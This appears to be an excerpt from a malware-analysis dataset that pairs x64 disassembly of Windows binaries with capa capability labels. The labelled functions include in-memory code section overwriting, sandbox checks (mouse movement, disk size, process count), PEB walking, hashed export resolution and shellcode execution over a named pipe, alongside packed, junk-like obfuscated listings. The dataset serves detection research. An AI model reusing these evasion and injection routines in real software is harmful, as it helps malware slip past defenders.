joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400bf4d8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping
Resolve function by parsing pe exports

Disassembly:
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, edi
lea r8, [rsp + 0x40]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x140002267
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], r13d
xor r9d, r9d
mov r8d, ebx
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002267
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbp, rax
test rax, rax
je 0x14000225e
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
je 0x140002255
mov rcx, qword [rsp + 0x40]
movzx edi, r13w
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp r13w, word [rbx + 6]
jae 0x140002255
movzx ecx, word [rbx + 0x14]
add rcx, rbx
movzx eax, di
lea rdx, [rax + rax*4]
lea r12, [rcx + rdx*8]
lea rcx, [r12 + 0x18]
lea rdx, str..text
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1400021ff
inc di
cmp di, word [rbx + 6]
jb 0x1400021cc
jmp 0x140002255
mov edi, dword [r12 + 0x24]
lea r9, [rsp + 0x2b0]
add rdi, qword [rsp + 0x40]
mov r8d, 0x40
mov ebx, dword [r12 + 0x20]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [r12 + 0x24]
mov r8d, ebx
add rdx, r15
mov rcx, rdi
call fcn.1400018b8
mov r8d, dword [rsp + 0x2b0]
lea r9, [rsp + 0x2b0]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x270
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140061ca3
call fcn.1400afb10
add qword [rsp + rdi - 0x7fffffb8], 0xffffffffbff28d61
xor dword [rsp + rdi - 0x7fffffd8], r15d
or byte [rsp + 0x28], r15b
je 0x14005c424
add di, 0xf427
add dil, r15b
call fcn.1400dca9f
or dword [rsp + r8 - 0x5223ffd0], 0xe52593ba
jge 0x1400a897f
jns 0x14000210c
or r8d, r8d
and word [rsp + r8 - 0x5223ffd0], 0xf0a4
jo 0x140090269
mov r8, qword [rsp + r8 - 0x5223fff0]
jbe 0x14006fd15
js 0x1400b0880

Function at 0x1400c87a3
Capabilities:
Encode data using base64
Packed with generic packer

Disassembly:
setae r12b
add dword [rsp + 0x20], 0xb92fc994
xchg qword [rsp + 0x30], rbx
Function at 0x1400c87c5
Capabilities:
Encode data using base64
Packed with generic packer

Disassembly:
rcl dword [rcx]
invalid
test eax, 0xbe9a8bb0
mov rax, qword [rsp + 0x10]
mov rax, qword [rax]
jo 0x14009db89
test r13d, 0x2601ddae
ja 0x140087cab
add byte [rdi + 0x62], bl
fcom dword [rbx - 0x72f2f26d]
push rbp
add al, 0x3d
loopne 0x14004bdf4
insd dword [rdi], dx
mov edi, 0xf4995934
invalid
setns dil
and rdi, 0x54a2be15
nop
shr r13w, 0x91
lea r13, [rdi*2 - 0x74f514d5]
movabs rbx, 0xfbaa310ea086a6af
movabs rcx, 0x612c493688034c2d
shr cx, cl
movsx cx, cl
xor cx, 0x9fab
js 0x1400dc1b0
lea rsp, [rsp + 0x58]
ret
lea rax, [rax - 0x2ed1307b]
or r13w, r13w
jns 0x14007404f
neg r13b
mov r13d, 0x291fc317
seta r13b
or r13b, r13b
neg r13w
mov qword [rsp + r13 - 0x291f3cf0], r13
xchg qword [rsp + r13*2 - 0x523e79e8], rax
mov r13, qword [rsp + r13*2 - 0x523e7a00]
jo 0x14008d502
jl 0x1400b084e
cmp word [rsp + 0x10], 0xc59f
js 0x1400c4a2e
neg byte [rsp + 0x10]
neg qword [rsp + 0x10]
call fcn.1400cc0c0
test dword [rbx], ebp
movabs dword [0x3b4a4583136832bf], eax
enter 0x1e86, 4
clc
outsb dx, byte [rsi]
fdiv qword [rcx]
invalid
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
not r10b
add qword [rsp + 8], 0xffffffffbff54242
call fcn.14002098c
call fcn.1400e2eb0
add qword [rsp], 0x51cf1
movabs rdx, 0x4e0c032663b4ce29
test ebp, 0xa13e291f
push r15
mov dl, dh
call fcn.140059b8c
push 0xffffffffbfb08004
call fcn.140071467
cmp dword [rsp + 0x18], 0x68056e32
jge 0x140087ad4
push r13
movabs r13, 0x2f30141b28388ba6
xchg qword [rsp + 0x28], rax
mov r13, qword [rsp]
jno 0x1400dd91c
cmp word [rsp + 0x20], 0x4faa
ja fcn.14009f466
jae 0x140079c1e
jge 0x14004be3e
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x28]
ret
push qword [rsp + 0x18]
popfq
mov qword [rsp + 0x18], rdi
not cl
call fcn.140071456
cli
imul edi, dword [rcx - 0x56563dcd], 0x37
test al, 0xb1
ret 0x1bec
and r9b, 0x1f
test r9b, 0xb1
mov r9, qword [rsp + 0x20]
mov qword [rsp + 0x20], rdi
call fcn.14008d2c1

Function at 0x1400ca88d
Capabilities:
Encode data using xor

Disassembly:
movzx r8, byte [rsp + 0x10]
jo 0x1400c17b5
not r10
mov rbx, qword [rsp + 0x60]
call fcn.1400096ef
call fcn.1400aa2b2
push qword [rsp]
popfq
lea rsp, [rsp + 0x10]
call fcn.1400e9998

Function at 0x1400d5f7f
Capabilities:
Enumerate process modules

Disassembly:
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [rsp + 0x30], r14d
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x13880
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [rbp + 0x1a0], r14d
lea r8, [rsp + 0x30]
mov edx, edi
mov rcx, r15
mov r12, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x14000163b
mov eax, dword [rsp + 0x30]
xor edi, edi
shr eax, 2
mov dword [rsp + 0x30], eax
test eax, eax
je 0x14000163b
jbe 0x14000152a
movabs rbp, 0xc03d7621b538880b
bswap edi
cmp rbp, qword [rsp + 0x68]
jg 0x1400a0f7d
shr rbp, 0x55
xchg qword [rsp + 0x80], rax
Function at 0x1400d735a
Capabilities:
Create thread
Set registry value

Disassembly:
popfq
add word [rsp + 0x58], 0x8d17
xor byte [rsp + 0x58], 0x83
shr dword [rsp + 0x10], 0x6a
shl dword [rsp + 0x10], 0x85
add byte [rsp + 0x58], 0x1b
jo 0x140057cf9
push qword [rsp + 0x40]
popfq
lea rsp, [rsp + 0x68]
ret
setb byte [rsp + 0x10]
or dword [rsp + 0x10], ebx
jl 0x1400de967
xor rbx, qword [rsp + 0x10]
mov dword [rsp + rbx*8 + 0x58], 0x3329afba
lea rbx, [rbx*8 - 0x50426e42]
mov qword [rsp + rbx + 0x50426e9a], 0xffffffff8088d6ba
mov rbx, qword [rsp + rbx + 0x50426e6a]
test qword [rsp + 0x58], 0xffffffffa92bb3b5
jns 0x1400b0f0e
jl 0x14006da29

Function at 0x1400d9ef6
Capabilities:
Connect pipe
Read file on windows

Disassembly:
lea rcx, str..pipedialercontrol_redirect64
call fcn.140001c64
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400022b9
lea ecx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002299
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x1400022fd
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002308
cmp dword [rsp + 0x48], 4
jne 0x140002308
mov ecx, dword [rsp + 0x50]
mov rdx, rbx
call rdi
jmp 0x140002308
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
jmp 0x1400022b9
xor dx, si
mov rsi, qword [rsp + 8]
mov rsi, qword [rsi]
shr edx, 0x5f
lea rdx, [rdx*2 + 0x24974882]
mov dl, 0x34
bswap edx
jb 0x1400022b1
sub bx, 0x823e
add qword [rsp + rdx - 0x344896ec], 0xffffffffbff92797
lea rsi, [rsi + rdx*2 - 0x55794eac]
shl dl, 0x93
cmp dx, 0xb2bf
mov qword [rsp + rdx*2 - 0x68912df8], rdx
mov rsi, rbx
add rsi, 0x50b7c393
not si
jne 0x1400598c8
mov r10b, 0x3e
jg 0x140008097

Function at 0x1400dd373
Capabilities:
Encode data using base64

Disassembly:
jae 0x14008ac67
mov r8, r11
movsx r8d, r8w
xor r8, 0xffffffffd3214c8e
call fcn.1400ba82d
cmp dword [rsp + r10 - 0x6e3fafb1], r15d
setno r15b
jns 0x1400949ab
mov r15, qword [rsp + 0x70]
sets byte [rsp + r10 - 0x6e3fafe1]
setno r10b
jae 0x140052ed9
xor dword [rsp + 0x50], 0x4fa7cb32
xor r10d, dword [rsp + r10 - 0x6e3fafdf]
mov r14, qword [rsp + 8]
bswap r11d
mov qword [rsp + 0x20], r11
shl r10d, 0x3d
ja fcn.1400a1dba
movzx r8, r8w
setb r10b
mov rsi, qword [rsp + r10 - 0x6e3fafb1]
mov rsi, qword [rsp + r10 - 0x6e3fafc9]
movzx r8w, r10b
shr word [rsp + 0x28], 0x3c
jns 0x1400c24ea
sub byte [rdi + rcx], bh
mov dword [rsi + 0x51], edx
invalid
js 0x1400dd38c
invalid

Function at 0x1400de91b
Capabilities:
Packed with generic packer

Disassembly:
movabs rbp, 0xe5177426632d0b2a
push r10
push r13
call fcn.140021647
Function at 0x1400de92e
Capabilities:
Packed with generic packer

Disassembly:
xchg qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x28]
shr dword [rsp], 0x7c
mov rdi, qword [rsp]
mov rdi, r15
lea rdi, [r9 + r9*8 - 0x6df897de]
shl r9b, 0x4e
add r9, qword [rsp + 0x20]
add qword [rsp + 0x10], 0xffffffffbff3eb03
shl edi, 0x9f
mov r9, qword [rsp + 0x38]
call fcn.1400bf4d8
pushfq
push rsi
pushfq
movabs rsi, 0x99b0f11193abaa05
test esi, 0x501c68a4
call fcn.1400153b0
jne 0x1400c92bf
cmp r8, 0xffffffffe3a0071c
mov qword [rsp + 0x18], r15
lea rax, [rax - 0x3cd08acc]
not r9b
jae 0x140078606
push r15
jle 0x1400145b5
call fcn.1400de882
add dword [rdi + 7], ebp
add byte [rdi + 0x74], ch
sub byte [rax], al
pop rax
xor al, 0x2d
add byte [rcx], cl
add dword [rdx], ebp
add byte [rdx], al
invalid
mov rax, r9
push rdi
movabs r8, 0xf003100791a8bbbb
mov rax, qword [rsp + 0x18]
mov rax, qword [rax]
jns fcn.1400764a6
jb 0x1400c8e42
movsx r15w, r8b
jae 0x14001e030
not qword [rsp + 0x48]
push qword [rsp + 0x40]
popfq
mov r10, qword [rsp + 8]
movzx r14w, r14b
jne 0x14005acfa
sub dword [rsp + 0x40], 0x6001ae83
mov rdi, qword [rsp + 0x48]
test r12, r14
lea r12, [r14 + r14*4 - 0x40e52cc5]
call fcn.140016a11
jl fcn.140087a77
shr r14d, 0x71
ja 0x1400773eb
movabs rsi, 0x8688c8a3b1218
and esi, 0x16b90d29
neg r14d
add r14w, si
lea rax, [rax + rsi + 0x45d1e5ff]
sete r14b
je 0x1400b2eea
shr si, 0xb7
jne 0x1400ad43a
or r14w, 0x637
xchg qword [rsp + r14 - 0x60f], rax
mov r14, qword [rsp + rsi - 0x238ffe8]
add qword [rsp + rsi*2 - 0x471fff0], 0xffffffffbff6b5d9
call fcn.140078511

Function at 0x14024a17f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
test ah, 0x10
btc r10, r10
movsx r9, bp
mov qword [rsp + 0x10], rdi
xor edi, edi
not r9b
movsxd r10, edx
movzx ebx, r8b
not r9b
mov r11, rcx
movsxd r10, r9d
mov r8, rdi
nop
movzx r9d, byte [r11]
movzx r10d, byte [rdx]
jmp 0x14024a1ba
inc r11
jmp 0x14024a1c2
inc rdx
test bl, bl
jmp 0x14024a1cc
je 0x14024a1f1
mov ecx, r8d
cbw
cmovno ax, si
mov eax, 0xbe245f85
cmc
rol eax, cl
add al, r8b
xor r9b, al
jmp 0x14024a1ee
inc r8
test r9b, r9b
jmp 0x14024a1f9
je 0x14024a20d
cmp r9b, r10b
jmp 0x14024a207
je 0x14024a1ad
cmp r9b, r10b
jmp 0x14024a215
jae 0x14024a23c
or eax, 0xffffffff
movzx di, r13b
mov rbx, qword [rsp + 8]
cmovle edi, r9d
jmp 0x14024a231
mov rdi, qword [rsp + 0x10]
jmp 0x14024a23b
ret
mov rbx, qword [rsp + 8]
lahf
not eax
seta dil
not ax
mov eax, edi
mov rdi, qword [rsp + 0x10]
jmp 0x14024a257
ret

Function at 0x1402518f4
Capabilities:
Encode data using xor

Disassembly:
push 0xfffffffff781b52d
not r11d
mov dword [rdi], r11d
lea rsp, [rsp + 8]
jmp fcn.14025177b
mov r10, qword [rdi + r10 - 0x37a81409]
add rdi, 0xc
xor r11d, r11d
mov qword [rsp], 0xffffffffdc2a9a06
test r10, r10
mov word [rsp + 6], 0x491
lea rsp, [rsp + 8]
je 0x14024f622
push rbx
mov ebx, 0xc70d5613
push r9
lea r9, [rbx*2 - 0x52e2eb74]
bswap r9
sar rbx, 0x66
lea rbx, [0x14024bef8]
mov r9d, 0xacadcca5
movzx r9d, byte [r8]
push 0x7831f8c
xor r9d, r11d
and r9d, 0xff
mov r9d, dword [rbx + r9*4]
shr r11d, 8
xor r11d, r9d
ror qword [rsp], 0x55
inc r8
xor r11d, 0xd418ec8d
dec r10
lea rsp, [rsp + 8]
jne 0x140251941
call fcn.14024b256
Function at 0x1800020e0
Capabilities:
Check for unmoving mouse cursor
Enumerate process modules
Get disk size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x1040
call fcn.180011a00
sub rsp, rax
mov rax, qword [0x1800d4008]
xor rax, rsp
mov qword [rsp + 0x1030], rax
call fcn.180001d70
xor ebx, ebx
lea rcx, [rsp + 0x28]
test eax, eax
mov edi, 1
cmovne ebx, edi
call qword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x28], eax
jne 0x180002154
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x2c], eax
jne 0x180002154
mov eax, edi
jmp 0x180002156
xor eax, eax
test eax, eax
lea esi, [rbx + 1]
lea r8, [rsp + 0x28]
cmove esi, ebx
lea rcx, [0x18001ab7c]
xor r9d, r9d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x180002197
mov rax, qword [rsp + 0x28]
movabs rcx, 0xf00000000
and rax, 0xffffffffc0000000
cmp rax, rcx
ja 0x180002197
mov eax, edi
jmp 0x180002199
xor eax, eax
test eax, eax
lea ebx, [rsi + 1]
cmove ebx, esi
call fcn.180001ef0
test eax, eax
je 0x1800021ac
inc ebx
lea r8, [rsp + 0x20]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call qword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
je 0x1800021d7
mov eax, dword [rsp + 0x20]
xor edi, edi
and eax, 0xfffffffc
cmp eax, 0xc8
setb dil
test edi, edi
lea eax, [rbx + 1]
cmove eax, ebx
cmp eax, 5
jb 0x1800021f1
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800021f6
call fcn.180001c90
mov eax, 0x643
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.180002300
lea r11, [rsp + 0x1040]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x18000cb68
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000cb98
xor eax, eax
jmp 0x18000cc5b
mov rbp, rbx
cmp word [rax], si
je 0x18000cbbd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000cba4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000cba0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800099a8
movsxd r14, eax
test eax, eax
jne 0x18000cbfb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000cb91
mov rcx, r14
call fcn.180009948
mov rdi, rax
test rax, rax
jne 0x18000cc14
xor ecx, ecx
call fcn.18000990c
jmp 0x18000cbf0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800099a8
test eax, eax
jne 0x18000cc45
mov rcx, rdi
call fcn.18000990c
jmp 0x18000cc4f
xor ecx, ecx
call fcn.18000990c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140002fec
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140002e7f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002e7f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002e7f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002e7f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002e7f
cmp dword [rcx + 0x84], 0xe
jbe 0x140002e7f
cmp dword [rcx + 0xf8], 0
je 0x140002e7f
mov ecx, ebx
call fcn.140002f20
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140002d10
cmp dword [rbp + 0x20], 0
je 0x140002ecc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140002ed4
int3
xor r8d, r8d
xor edx, edx
jmp 0x140002e18
Function at 0x1400215a0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x1400215cd
xor al, al
jmp 0x14002172f
mov rax, qword [0x1400416c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1400416c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1400416d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1400416d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1400416e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1400416e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1400416f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1400416f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x140041700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x140021721
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x140021679
mov r11d, 2
jmp 0x14002169d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x140021693
mov r11d, 1
jmp 0x14002169d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x140021745
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x1400216e2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x1400216fa
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14002170a
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x140021718
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x140021660
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14002172a
Function at 0x180003417
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x218
xor ebx, ebx
movsxd rax, dword [rcx + 0x3c]
mov eax, dword [rcx + rax + 0x88]
mov r11, rsp
lea r10, [r11 + 0x208]
add rax, rcx
mov r9d, dword [rax + 0x20]
mov edi, dword [rax + 0x1c]
mov ebp, dword [rax + 0x24]
lea rsi, [rcx + r9]
nop dword [rax + rax]
mov r14d, dword [rsi + rbx*4]
mov rax, r11
add r14, rcx
nop word [rax + rax]
mov byte [rax], 0
add rax, 1
cmp rax, r10
jne 0x180003467
movsx r15w, byte [r14]
test r15b, r15b
je 0x180003537
xor r12d, r12d
jmp 0x18000348a
mov r12d, r13d
lea r13d, [r12 + 1]
lea rax, [r14 + r13]
mov r9, r13
cmp byte [rax], 0
jne 0x180003487
test r9d, r9d
je 0x1800034c3
lea r9, [r11 + r13*2]
lea r13, [r14 + r13 - 1]
sub r13, r12
movsx r12w, byte [rax]
sub rax, 1
sub r9, 2
mov word [r9 + 2], r12w
cmp r13, rax
jne 0x1800034ac
mov word [rsp], r15w
xor r12d, r12d
jmp 0x1800034da
mov r12d, r9d
lea r9d, [r12 + 1]
cmp word [rsp + r9*2], 0
mov rax, r9
jne 0x1800034d7
test eax, eax
je 0x18000356d
lea r9, [r11 + 2]
mov r14d, dword [r8 + 0x104]
mov r13, r11
xor eax, eax
lea r12, [r9 + r12*2]
jmp 0x18000350b
add r9, 2
movzx r13d, word [r13]
imul eax, r14d
add eax, r13d
cmp r9, r12
mov r13, r9
jne 0x180003507
lea r9, [rbx + 1]
cmp edx, eax
je 0x180003547
mov rbx, r9
jmp 0x180003457
lea r9, [rbx + 1]
xor eax, eax
mov word [rsp], ax
xor eax, eax
cmp edx, eax
jne 0x180003527
lea rax, [rcx + rbx*2]
movzx eax, word [rax + rbp]
lea rax, [rcx + rax*4]
mov eax, dword [rax + rdi]
add rax, rcx
add rsp, 0x218
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor eax, eax
jmp 0x18000351f
Function at 0x180007f99
Capabilities:
Access peb ldr_data

Disassembly:
push rbx
sub rsp, 0x210
mov rax, qword gs:[0x60]
mov rbx, qword [rax + 0x18]
add rbx, 0x10
nop word [rax + rax]
mov rbx, qword [rbx]
mov rdx, qword [rbx + 0x60]
test rdx, rdx
je 0x180007fb9
xor ecx, ecx
cmp word [rdx], cx
je 0x180007fd7
inc ecx
mov eax, ecx
cmp word [rdx + rcx*2], 0
jne 0x180007fcc
xor r8d, r8d
test ecx, ecx
je 0x180007fb9
mov r9d, ecx
nop dword [rax + rax]
movzx eax, word [rdx]
lea ecx, [rax - 0x41]
cmp cx, 0x19
ja 0x180007ff9
add ax, 0x20
imul r8d, r8d, 0x1003f
add rdx, 2
movzx ecx, ax
add r8d, ecx
sub r9, 1
jne 0x180007fe9
cmp r8d, 0x2c394508
jne 0x180007fb9
mov rbx, qword [rbx + 0x30]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.180007d79
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x20]
mov eax, dword [rsp + 0x184]
add rax, rbx
call rax
add rsp, 0x210
pop rbx
ret
Function at 0x180035d7c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov eax, edx
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
cmp rax, rdx
je 0x180035da5
mov eax, 0x80070057
jmp 0x180035e2e
mov r8d, edx
jmp 0x180035dc5
mov eax, dword [rsp + 0x48]
cmp eax, ebx
je 0x180035e2c
test eax, eax
je 0x180035e25
cmp eax, ebx
ja 0x180035e25
sub ebx, eax
mov rcx, rsi
add rdi, rax
mov r8d, ebx
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
and dword [rsp + 0x48], 0
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180035daa
call fcn.180035b20
mov ebx, eax
test ebx, ebx
jns 0x180035e2c
lfence
mov rcx, qword [0x18008d218]
lea rax, [0x18008d218]
cmp rcx, rax
je 0x180035e21
test byte [rcx + 0x1c], 1
je 0x180035e21
mov rcx, qword [rcx + 0x10]
lea r8, [0x180078108]
mov edx, 0xf
mov r9d, ebx
call fcn.180001330
mov eax, ebx
jmp 0x180035e2e
mov ebx, 0x8000ffff
jmp 0x180035de9
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180035e40
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov edi, dword [rdx]
mov r10, r8
mov rbx, rdx
cmp rdi, qword [rdx]
je 0x180035e61
mov eax, 0x80070057
jmp 0x180035ee4
and qword [rdx], 0
lea r9, [rsp + 0x48]
and dword [rsp + 0x48], 0
mov rdx, r10
and qword [rsp + 0x20], 0
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180035ece
call fcn.180035b20
mov edi, eax
cmp eax, 0x80070026
jne 0x180035e99
and qword [rbx], 0
jmp 0x180035ee2
mov rcx, qword [0x18008d218]
lea rax, [0x18008d218]
cmp rcx, rax
je 0x180035eca
test byte [rcx + 0x1c], 1
je 0x180035eca
mov rcx, qword [rcx + 0x10]
lea r8, [0x180078108]
mov edx, 0x12
mov r9d, edi
call fcn.180001330
mov eax, edi
jmp 0x180035ee4
cmp dword [rsp + 0x48], edi
jbe 0x180035edb
mov eax, 0x8000ffff
jmp 0x180035ee4
mov eax, dword [rsp + 0x48]
mov qword [rbx], rax
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret